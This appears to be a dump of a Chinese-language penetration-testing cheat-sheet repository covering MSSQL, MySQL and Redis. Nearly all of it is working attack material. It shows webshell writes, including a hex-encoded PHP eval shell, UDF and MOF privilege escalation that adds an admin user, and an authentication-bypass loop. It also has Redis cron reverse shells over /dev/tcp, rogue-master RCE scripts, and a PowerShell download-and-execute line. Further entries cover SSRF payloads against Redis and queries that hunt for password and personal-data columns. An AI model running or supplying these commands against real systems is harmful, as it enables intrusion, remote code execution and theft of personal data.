@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")' 775 | ``` 776 | 777 | Python 脚本利用 778 | ``` 779 | -- 查看版本 780 | exec sp_execute_external_script 781 | @language =N'Python', 782 | @script=N'import sys 783 | OutputDataSet = pandas.DataFrame([sys.version])' 784 | WITH RESULT SETS ((python_version nvarchar(max))) 785 | 786 | -- 利用 Python 执行命令 787 | exec sp_execute_external_script 788 | @language =N'Python', 789 | @script=N'import subprocess 790 | p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) 791 | OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])' 792 | 793 | -- 利用 Python 读文件 794 | EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())' 795 | WITH RESULT SETS (([cmd_out] nvarchar(max))) 796 | ``` 797 | 798 | 799 | # 信息收集 800 | 801 | ``` 802 | select @@version // 数据库版本 803 | 804 | select user //获取当前数据库用户名 805 | 806 | select db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库 807 | 808 | ;select user //查询是否支持多语句 809 | 810 | 811 | select IS_MEMBER('db_owner') 812 | select is_srvrolemember('sysadmin') 813 | ``` 814 | 站库分离判断 815 | ``` 816 | host_name()=@@servername 817 | 818 | 也可以执行命令whoami判断 819 | 如2005的xp_cmdshell 你要知道他的权限一般是system 而2008他是nt authority\network service、12就变成了nt service\mssqlserver 820 | ``` 821 | 822 | 823 | xx 库中所有字段名带 pass|pwd 的表 824 | 825 | ``` 826 | select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%pass%' or name like '%pwd%') 827 | ``` 828 | 829 | 830 | 831 | xx 库中所有字段名带个人信息的表 832 | 833 | ``` 834 | select [name] from [xx].[dbo].sysobjects where id in(select id from [xx].[dbo].syscolumns Where name like '%name%' or name like '%phone%' or name like '%mobile%' or name like '%certificate%' or name like '%number%' or name like '%email%' or name like '%addr%' or name like '%card%' or name like '%电话%' or name like '%地址%' or name like '%身份证%' or name like '%姓名%') 835 | ``` 836 | 837 | # References 838 | 839 | - https://github.com/aleenzz/MSSQL_SQL_BYPASS_WIKI 840 | - https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA 841 | - https://tttang.com/archive/1545/ 842 | -------------------------------------------------------------------------------- /mysql.md: -------------------------------------------------------------------------------- 1 | # Mysql 2 | 3 | 更新时间:2021.9.28 4 | 5 | 老鸟速查笔记,新手建议直接读文末引用。 6 | 7 | 8 | 9 | 10 | 11 | # GetShell 12 | 13 | ### into oufile 写 shell 14 | 15 | - 知道网站物理路径 16 | - 高权限数据库用户(root) 17 | - secure_file_priv 无限制 18 | - 网站路径有写入权限 19 | 20 | 21 | 22 | 查询是否 secure_file_priv 没有限制 23 | 24 | ```sql 25 | mysql> show global variables like '%secure_file_priv%'; 26 | +------------------+-------+ 27 | | Variable_name | Value | 28 | +------------------+-------+ 29 | | secure_file_priv | | 30 | +------------------+-------+ 31 | ``` 32 | 33 | ``` 34 | select @@secure_file_priv 35 | ``` 36 | 37 | | Value | 说明 | 38 | | :---- | :------------------------- | 39 | | NULL | 不允许导入或导出 | 40 | | /tmp | 只允许在 /tmp 目录导入导出 | 41 | | 空 | 不限制目录 | 42 | 43 | > 在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件 44 | > 45 | > 在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件 46 | 47 | 写shell 48 | 49 | ```sql 50 | select '' into outfile '/var/www/html/1.php'; 51 | ``` 52 | 53 | ```sql 54 | select 1 into outfile 'F:/7788/evil.php' lines terminated by 0x3C3F70687020406576616C28245F504F53545B2767275D293B3F3E0D0A; 55 | ``` 56 | 57 | sqlmap写shell 58 | 59 | ```bash 60 | sqlmap -u "http://baidu.com/?id=x" --file-write="D:\note\PentestDB\shell.php" --file-dest="/var/www/html/test/shell.php" 61 | ``` 62 | 63 | sqlmap获取os-shell 64 | 65 | ```bash 66 | sqlmap -u "http://x.x.x.x/?id=x" --os-shell 67 | ``` 68 | 69 | 70 | 71 | tips:除了outfile还有一个dumpfile 可以用来导出文件,dumpfile用来导出二进制文件(outfile会在行尾加\n)。 72 | 73 | 74 | 75 | ### 读文件 76 | 77 | 受secure_file_priv影响 78 | ``` 79 | CREATE TABLE test(FIELDS VARCHAR(1000)) 80 | load data infile "/proc/self/cmdline" into table test FIELDS TERMINATED BY '\n'; 81 | ``` 82 | 83 | 84 | ### 日志写shell 85 | 86 | - 知道网站物理路径 87 | - 高权限数据库用户(root) 88 | - 网站路径有写入权限 89 | 90 | 91 | 92 | ```bash 93 | mysql> SHOW VARIABLES LIKE '%general%'; 94 | +------------------+---------------------------------+ 95 | | Variable_name | Value | 96 | +------------------+---------------------------------+ 97 | | general_log | OFF | 98 | | general_log_file | /var/lib/mysql/c1595d3a029a.log | 99 | +------------------+---------------------------------+ 100 | ``` 101 | 102 | ``` 103 | select @@general_log 104 | 105 | select @@general_log_file 106 | 107 | ``` 108 | 109 | ```bash 110 | #开启日志记录 111 | set global general_log = "ON"; 112 | set global general_log_file='/var/www/html/info.php'; 113 | 114 | #往日志里面写入 payload 115 | select ''; 116 | ``` 117 | 118 | 119 | 120 | ### 慢日志写shell 121 | 122 | - 知道网站物理路径 123 | - 高权限数据库用户(root) 124 | - 网站路径有写入权限 125 | 126 | 127 | 128 | ```bash 129 | mysql> SHOW VARIABLES LIKE '%slow_query_log%'; 130 | +------------------+---------------------------------+ 131 | | Variable_name | Value | 132 | +------------------+---------------------------------+ 133 | | slow_query_log | OFF | 134 | | slow_query_log_file | /var/lib/mysql/c1595029a.log | 135 | +------------------+---------------------------------+ 136 | ``` 137 | 138 | 139 | 140 | 141 | ```bash 142 | #开启日志记录 143 | set global slow_query_log = "ON"; 144 | set global slow_query_log_file='/var/www/html/info.php'; 145 | 146 | #往日志里面写入 payload 147 | select '' or sleep(10) 148 | ``` 149 | 150 | 151 | 152 | # Vuln 153 | 154 | 155 | 156 | ### yaSSL 缓冲区溢出 157 | 158 | **Linux** : MySQL 5.0.45-Debian_1ubuntu3.1-log 159 | 160 | **Windows** : MySQL 5.0.45-community-nt 161 | 162 | ```bash 163 | msf6 > use exploit/windows/mysql/mysql_yassl_hello 164 | msf6 > use exploit/linux/mysql/mysql_yassl_hello 165 | ``` 166 | 167 | 168 | 169 | ### authbypass身份认证绕过 170 | 171 | - MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not. 172 | - MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not. 173 | 174 | CVE-2012-2122 175 | 176 | 知道用户名多次输入错误的密码会有几率可以直接成功登陆进数据库,可以循环 1000 次登陆数据库: 177 | 178 | ```bash 179 | for i in `seq 1 1000`; do mysql -uroot -pwrong -h 127.0.0.1 -P3306 ; done 180 | ``` 181 | 182 | msf dump hash 183 | 184 | ```bash 185 | msf6 > use auxiliary/scanner/mysql/mysql_authbypass_hashdump 186 | msf6 > set rhosts 127.0.0.1 187 | msf6 > run 188 | ``` 189 | 190 | 191 | 192 | # Privilege Escalation 193 | 194 | ### UDF提权 195 | 196 | udf动态链接库文件获取 197 | 198 | ```bash 199 | sqlmap/data/udf/mysql 200 | ``` 201 | 202 | sqlmap的库需要用自带的解码工具/extra/cloak/cloak.py 来解码 203 | 204 | ```bash 205 | # 查看当前目录情况 206 | ➜ pwd 207 | /Users/guang/Documents/X1ct34m/sqlmap/1.4.6/extra/cloak 208 | 209 | # 解码 32 位的 Linux 动态链接库 210 | ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/32/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_32.so 211 | 212 | # 解码 64 位的 Linux 动态链接库 213 | ➜ python3 cloak.py -d -i ../../data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -o lib_mysqludf_sys_64.so 214 | 215 | # 解码 32 位的 Windows 动态链接库 216 | ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll 217 | 218 | # 解码 64 位的 Windows 动态链接库 219 | ➜ python3 cloak.py -d -i ../../data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_64.dll 220 | ``` 221 | 222 | msf的可以直接使用 223 | 224 | ```bash 225 | MSF 根目录/embedded/framework/data/exploits/mysql 226 | ``` 227 | 228 | tips:可用ida查看有哪些函数 229 | 230 | 该udf.dll导出的路径因MySQL版本不同而不同: 231 | 232 | - 如果`MySQL<5.1`,udf.dll动态链接文件需要导出的路径为: 233 | Windows2003:c:\windows\system32 234 | Windows2000:c:\winnt\system32。 235 | - 如果`MySQL>=5.1`,必须要把udf.dll动态链接文件导出到MySQL的安装目录\lib\plugin目录 236 | 237 | 238 | 239 | 获取plugin路径 240 | 241 | ```sql 242 | mysql> show variables like '%plugin%'; 243 | +---------------+------------------------------+ 244 | | Variable_name | Value | 245 | +---------------+------------------------------+ 246 | | plugin_dir | /usr/local/mysql/lib/plugin/ | 247 | +---------------+------------------------------+ 248 | ``` 249 | 250 | 251 | ``` 252 | 253 | select @@plugin_dir 254 | ``` 255 | 256 | 257 | 获取mysql版本,确定 udf位数 258 | 259 | ``` 260 | show variables like "%version%"; 261 | ``` 262 | 263 | tips:windows系统如果目录不存在可以尝试使用NTFS流创建: 264 | 265 | ```sql 266 | select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib::$INDEX_ALLOCATION'; 267 | select 'x' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/::$INDEX_ALLOCATION'; 268 | ``` 269 | 270 | 271 | 272 | ```sql 273 | # 获取so十六进制 274 | SELECT hex(load_file('/lib_mysqludf_sys_64.so')); 275 | # 直接 SELECT 查询十六进制写入 276 | SELECT 0x7f454c4602... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; 277 | 278 | # 解码十六进制再写入多此一举 279 | SELECT unhex('7f454c4602...') INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; 280 | 281 | ``` 282 | 283 | 创建表写入 284 | 285 | ```sql 286 | create table my_udf_data(data LONGBLOB); 287 | set @my_udf_a=concat('',dll的16进制); 288 | insert into my_udf_data values("");update my_udf_data set data = @my_udf_a; 289 | ``` 290 | 291 | 292 | 293 | 创建函数执行命令 294 | 295 | ```sql 296 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 297 | 298 | select * from mysql.func; 299 | 300 | select sys_eval('whoami'); 301 | 302 | drop function sys_eval; 303 | ``` 304 | 305 | 306 | 307 | ### mof提权 308 | 309 | 老古董,不想写了 310 | 311 | MOF 提权是一个有历史的漏洞,基本上在 Windows Server 2003 的环境下才可以成功。提权的原理是C:/Windows/system32/wbem/mof/目录下的 mof 文件每 隔一段时间(几秒钟左右)都会被系统执行,因为这个 MOF 里面有一部分是 VBS 脚本,所以可以利用这个 VBS 脚本来调用 CMD 来执行系统命令,如果 MySQL 有权限操作 mof 目录的话,就可以来执行任意命令了。 312 | 313 | 314 | 315 | 准备好mof文件,然后udf老套路导出即可 316 | 317 | ``` 318 | pace("\.rootsubscription") 319 | 320 | instance of **EventFilter as $EventFilter{ EventNamespace = "RootCimv2"; Name = "filtP2"; Query = "Select * From **InstanceModificationEvent " 321 | "Where TargetInstance Isa "Win32_LocalTime" " 322 | "And TargetInstance.Second = 5"; 323 | QueryLanguage = "WQL"; 324 | }; 325 | 326 | instance of ActiveScriptEventConsumer as $Consumer 327 | { 328 | Name = "consPCSV2"; 329 | ScriptingEngine = "JScript"; 330 | ScriptText = 331 | "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; 332 | }; 333 | 334 | instance of __FilterToConsumerBinding 335 | { 336 | Consumer = $Consumer; 337 | Filter = $EventFilter; 338 | }; 339 | ``` 340 | 341 | 342 | 343 | # Other 344 | 345 | 346 | 347 | ``` 348 | select load_file('/var/lib/mysql-files/key.txt'); #Read file 349 | ``` 350 | 351 | 352 | 353 | 利用恶意mysql服务,读客户端文件 354 | 355 | [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server) 356 | 357 | 358 | 359 | 注意某些lnmp的探针 360 | 361 | 362 | 363 | 可用的udf hex 364 | 365 | https://www.sqlsec.com/tools/udf.html 366 | 367 | 368 | 369 | 370 | 371 | xx库中所有字段名带 pass|pwd 的表 372 | 373 | ``` 374 | select distinct table_name from information_schema.columns where table_schema="xx" and column_name like "%pass%" or column_name like "%pwd%" 375 | ``` 376 | 377 | sqlmap 参数–-search也可以 378 | 379 | 380 | 381 | xx 库中所有字段名带个人信息的表 382 | 383 | ``` 384 | select distinct table_name from information_schema.columns where table_schema="xx" and column_name regexp "name|phone|mobile|certificate|number|email|addr|card|电话|地址|身份证|姓名" 385 | ``` 386 | 387 | 388 | ## 配合phpMyAdmin 389 | 390 | 391 | 392 | phpMyAdmin4.8.1文件包含 393 | - 包含mysql数据文件 394 | - 通过写文件到tmp目录下,进行包含(tmp/2.php) 395 | 396 | 397 | - phpMyAdmin找绝对路径 398 | - 全局变量里面搜索log,通过路径推测。 399 | - 通过日志文件路径、mysqldata文件路径、安装路径推测 400 | - 判断中间件类型猜测 401 | 402 | 403 | 相关路径查询 404 | ``` 405 | show variables like '%plugin%' 406 | show global variables like "%datadir%"; 407 | ``` 408 | 409 | 写到tmp目录下进行包含 410 | ``` 411 | select '' into outfile '/tmp/2.php'; 412 | https://www.baidu.com/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/3.php 413 | 414 | 带cookie链接即可 415 | ``` 416 | 417 | 418 | 419 | 420 | # References 421 | 422 | 423 | 424 | - https://www.sqlsec.com/2020/11/mysql.html 425 | - https://www.anquanke.com/post/id/235236 426 | - https://mp.weixin.qq.com/s/VgXOXVl-Bx2Vi8BYxdx3CA 427 | 428 | -------------------------------------------------------------------------------- /redis.md: -------------------------------------------------------------------------------- 1 | # Redis 2 | 3 | 更新时间:2022.2.12 4 | 5 | 老鸟速查笔记,新手建议直接读文末引用。 6 | 7 | 8 | 9 | 10 | 11 | # GetShell 12 | 13 | 14 | 15 | ### 写webshell 16 | 17 | - 已知web的绝对路径 18 | 19 | - 对应目录具有读写权限 20 | 21 | 22 | 23 | ``` 24 | redis-cli -h 192.168.1.154 25 | config set dir /var/www/html 26 | set xxx "\n\n\n\n\n\n" 27 | config set dbfilename webshell.php 28 | save 29 | ``` 30 | 31 | 32 | 33 | ### 写入ssh公钥getshell 34 | 35 | - redis服务为root权限 36 | - 允许密钥登录 37 | - linux 38 | 39 | ``` 40 | config set dir /root/.ssh 41 | config set dbfilename authorized_keys 42 | set xxssh "\n\nssh-rsa xxxxxx\n\n" 43 | save 44 | ``` 45 | 46 | 47 | 48 | ### 计划任务反弹shell 49 | 50 | - redis服务为root权限启动 51 | 52 | ```bash 53 | config set dir /var/spool/cron/ 54 | config set dbfilename root 55 | set xxx "\n\n\n* * * * * bash -i >&/dev/tcp/ip/端口 0>&1\n\n\n" 56 | save 57 | ``` 58 | 59 | 60 | 61 | tips:**crontab反弹debian,ubuntu都不行**,因为他们对计划任务的格式很严格,必须要执行 `crontab -u root /var/spool/cron/crontabs/root` 通过语法检查后,才能执行计划任务。 62 | 63 | 最后补充一下,可进行利用的cron有如下几个地方: 64 | 65 | - /etc/crontab 这个是肯定的 66 | - /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。 67 | - /var/spool/cron/root centos系统下root用户的cron文件 68 | - /var/spool/cron/crontabs/root debian系统下root用户的cron文件 69 | 70 | 71 | 72 | ### 主从rce 73 | 74 | - redis服务为root权限启动 75 | - redis 4.x/5.x 76 | 77 | 本质上就是加载一个so文件,用来执行命令。和udf差不多。如果本身就可以上传文件的情况下,直接上传so文件加载即可,不用利用主从。主从的意思就是把当前redis设置为备份库,等着把恶意的远程db备份过来,进行加载。 78 | 79 | ``` 80 | git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand 81 | cd RedisModules-ExecuteCommand/ 82 | make 83 | 84 | ``` 85 | 86 | 开启恶意redis一键rce 87 | 88 | ``` 89 | git clone https://github.com/Ridter/redis-rce 90 | python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so 91 | python redis-rce.py -r 10.10.30.171 -p 44711 -L 10.10.30.171 -L 12138 -f exp.so -v 92 | ``` 93 | 94 | ``` 95 | https://github.com/vulhub/redis-rogue-getshell 96 | 需要python3.0以上 97 | 编译 98 | >cd RedisModulesSDK/ 99 | >make 100 | 会在此目录下生成exp.so 101 | 执行命令 102 | >python3 redis-master.py -r 192.168.0.120 -p 6379 -L 192.168.0.108 -P 12138 -f RedisModulesSDK/exp.so -c "cat /etc/passwd" 103 | ``` 104 | 105 | ``` 106 | 107 | 108 | https://github.com/n0b0dyCN/redis-rogue-server.git 109 | 110 | python3 redis-rogue-server.py --rhost 10.10.30.171 --rport 8407 --lhost 10.10.30.171 --lport 1218 111 | ``` 112 | 113 | 114 | #### 手动操作 115 | redis加载远程exp.so命令执行,配合被动连接使用 116 | 117 | https://github.com/Dliv3/redis-rogue-server 118 | 119 | ``` 120 | #设置redis的备份路径为当前目录(注意目录权限问题) 121 | config set dir ./ 122 | #设置备份文件名为exp.so,默认为dump.rdb 123 | config set dbfilename exp.so 124 | #设置主服务器IP和端口 125 | slaveof 192.168.172.129 21000 126 | #加载恶意模块 127 | module load ./exp.so 128 | #切断主从,关闭复制功能 129 | slaveof no one 130 | #执行系统命令 131 | system.exec 'whoami' 132 | ``` 133 | 134 | 135 | 136 | 137 | 还可以写无损文件 138 | 139 | https://github.com/r35tart/RedisWriteFile 140 | 141 | 142 | 143 | 还可以主从复制覆写shadow 144 | 145 | 146 | 147 | 148 | 149 | ### windows系统主从利用 150 | 151 | - 需要启动项目录的写入权限 152 | - 服务器需要重启 153 | 154 | 155 | 156 | ``` 157 | config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/" 158 | config set dbfilename shell.bat 159 | set x "\r\n\r\npowershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.2/shell.ps1');xx.ps1\"\r\n\r\n" 160 | save 161 | ``` 162 | 163 | 164 | ## win利用dll 165 | https://github.com/learner-ing/redis-rce 166 | 167 | 168 | ## win系统getshell 169 | https://xz.aliyun.com/t/7940 170 | 总体来说目前Windows的Redis getshell还没有发现直来直去一招通杀的方式。当然这主要是由于Windows自身特性以及Redis不(出)更(新)新(洞)的缘故。 171 | 但就像没有Redis4.x-5.x主从RCE之前的Linux环境一样,碰到了Redis即使知道有一定可能没权限写入,但还是要把最基础的试它一试,最起码常见的用户名目录要尝试写一写,mof尝试写一写,万一就成了呢? 172 | 运气也是实力的一部分,什么都觉得不可能,什么都不做,那就什么都不会有。 173 | 174 | 175 | 176 | # Other 177 | 178 | ## ssrf 攻击未授权访问redis 179 | 180 | ``` 181 | # 清空 key 182 | dict://172.72.23.27:6379/flushall 183 | 184 | # 设置要操作的路径为定时任务目录 185 | dict://172.72.23.27:6379/config set dir /var/spool/cron/ 186 | 187 | # 在定时任务目录下创建 root 的定时任务文件 188 | dict://172.72.23.27:6379/config set dbfilename root 189 | 190 | # 写入 Bash 反弹 shell 的 payload 191 | dict://172.72.23.27:6379/set x "\n* * * * * /bin/bash -i >%26 /dev/tcp/x.x.x.x/2333 0>%261\n" 192 | 193 | # 保存上述操作 194 | dict://172.72.23.27:6379/save 195 | 196 | ``` 197 | 198 | 如果是Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。见ref 199 | 200 | 201 | 202 | ## ssrf 攻击需要验证redis 203 | 可以看到每行都是以\r结尾的,但是 Redis 的协议是以 CRLF (\r\n)结尾,所以转换的时候需要把\r转换为\r\n,然后其他全部进行 两次 URL 编码 204 | 205 | 可用socat来抓包 206 | ``` 207 | socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 208 | ``` 209 | 具体流量包如下(实时显示) 210 | ``` 211 | [root@40d4066eb5c7 /]# socat -v tcp-listen:4444,fork tcp-connect:127.0.0.1:6379 212 | > 2022/02/12 11:06:22.035396 length=17 from=0 to=16 213 | *1\r 214 | $7\r 215 | COMMAND\r 216 | < 2022/02/12 11:06:22.035601 length=34 from=0 to=33 217 | -NOAUTH Authentication required.\r 218 | > 2022/02/12 11:06:32.232475 length=28 from=17 to=44 219 | *2\r 220 | $4\r 221 | auth\r 222 | $8\r 223 | P@ssw0rd\r 224 | < 2022/02/12 11:06:32.232688 length=5 from=34 to=38 225 | +OK\r 226 | > 2022/02/12 11:06:38.022064 length=18 from=45 to=62 227 | *1\r 228 | $8\r 229 | flushall\r 230 | < 2022/02/12 11:06:38.023641 length=5 from=39 to=43 231 | +OK\r 232 | > 2022/02/12 11:06:45.908709 length=54 from=63 to=116 233 | *4\r 234 | $6\r 235 | config\r 236 | $3\r 237 | set\r 238 | $3\r 239 | dir\r 240 | $13\r 241 | /var/www/html\r 242 | < 2022/02/12 11:06:45.908934 length=5 from=44 to=48 243 | +OK\r 244 | > 2022/02/12 11:06:53.107136 length=57 from=117 to=173 245 | *4\r 246 | $6\r 247 | config\r 248 | $3\r 249 | set\r 250 | $10\r 251 | dbfilename\r 252 | $9\r 253 | shell.php\r 254 | < 2022/02/12 11:06:53.107523 length=5 from=49 to=53 255 | +OK\r 256 | > 2022/02/12 11:07:02.007001 length=52 from=174 to=225 257 | *3\r 258 | $3\r 259 | set\r 260 | $1\r 261 | x\r 262 | $25\r 263 | 264 | 265 | \r 266 | < 2022/02/12 11:07:02.007210 length=5 from=54 to=58 267 | +OK\r 268 | > 2022/02/12 11:07:10.569458 length=14 from=226 to=239 269 | *1\r 270 | $4\r 271 | save\r 272 | < 2022/02/12 11:07:10.570998 length=5 from=59 to=63 273 | +OK\r 274 | 275 | ``` 276 | 277 | 整理后关键包 278 | ``` 279 | 280 | *2\r 281 | $4\r 282 | auth\r 283 | $8\r 284 | P@ssw0rd\r 285 | *1\r 286 | $8\r 287 | flushall\r 288 | *4\r 289 | $6\r 290 | config\r 291 | $3\r 292 | set\r 293 | $3\r 294 | dir\r 295 | $13\r 296 | /var/www/html\r 297 | *4\r 298 | $6\r 299 | config\r 300 | $3\r 301 | set\r 302 | $10\r 303 | dbfilename\r 304 | $9\r 305 | shell.php\r 306 | *3\r 307 | $3\r 308 | set\r 309 | $1\r 310 | x\r 311 | $25\r 312 | 313 | 314 | \r 315 | *1\r 316 | $4\r 317 | save\r 318 | ``` 319 | 320 | 321 | 322 | 323 | 324 | 325 | 326 | # References 327 | - https://djhons.com/2021/10/29/61.html 328 | - https://www.anquanke.com/post/id/214108 329 | - https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf 330 | - https://www.sqlsec.com/2021/05/ssrf.html#toc-heading-25 331 | -------------------------------------------------------------------------------- /redis_exp.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/PentestDB/df6207a8d558af53829c1c6cd6dd027b17d27697/redis_exp.so -------------------------------------------------------------------------------- /sqlmap udf.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/safe6Sec/PentestDB/df6207a8d558af53829c1c6cd6dd027b17d27697/sqlmap udf.zip -------------------------------------------------------------------------------- /tips.md: -------------------------------------------------------------------------------- 1 | 目标:根据系统视图联合查询包含phone字段的列名、数据量大于阈值、表名、schema、数据库名,并按数据量排序。 2 | 3 | 返回数据格式:schema-table-column-rows 4 | 5 | 6 | 7 | mssql 8 | ```sql 9 | SELECT t.TABLE_SCHEMA as 'TABLE_SCHEMA',a.name as 'TABLE_NAME', c.COLUMN_NAME, b.rows FROM sysobjects AS a 10 | INNER JOIN sysindexes AS b ON a.id = b.id 11 | INNER JOIN information_schema.columns c on a.name = c.TABLE_NAME 12 | INNER JOIN information_schema.tables t on a.name = t.TABLE_NAME 13 | WHERE (a.type = 'u') AND (b.indid IN (0, 1)) and (c.COLUMN_NAME like '%phone%') and (b.rows > 100) 14 | ORDER BY b.rows DESC 15 | ``` 16 | mysql 17 | ```sql 18 | SELECT t.table_schema AS 'schema', t.table_name AS 'table', c.COLUMN_NAME AS 'column', t.table_rows AS 'rows' 19 | FROM information_schema.TABLES t 20 | left join information_schema.COLUMNS c on c.table_name = t.table_name 21 | WHERE c.COLUMN_NAME like '%phone%' and t.table_rows > 100 22 | group by t.table_schema, t.table_name, c.COLUMN_NAME, t.table_rows order by t.table_rows desc 23 | ``` 24 | 25 | oracle 26 | ```sql 27 | select s.username "schema",t.table_name "table",c.column_name "column_name",t.num_rows "num_rows" from sys.dba_users s 28 | right join sys.dba_tables t on s.username=t.owner 29 | right join all_tab_columns c on c.table_name=t.table_name 30 | where t.num_rows > 100 and c.column_name like '%PHONE%' 31 | group by s.username,t.table_name,c.column_name,t.num_rows order by 4 desc 32 | ``` 33 | 34 | postgres 35 | ```sql 36 | SELECT c.table_schema,c.table_name,c.column_name,t.n_live_tup FROM pg_stat_user_tables as t 37 | inner join information_schema.columns as c 38 | on c.table_name = t.relname 39 | where c.column_name like '%PHONE%' and t.n_live_tup >100 40 | ORDER BY t.n_live_tup DESC 41 | ``` 42 | # References 43 | - https://mp.weixin.qq.com/s/rpmrFOlHyRcTw4FctRxqFg 44 | --------------------------------------------------------------------------------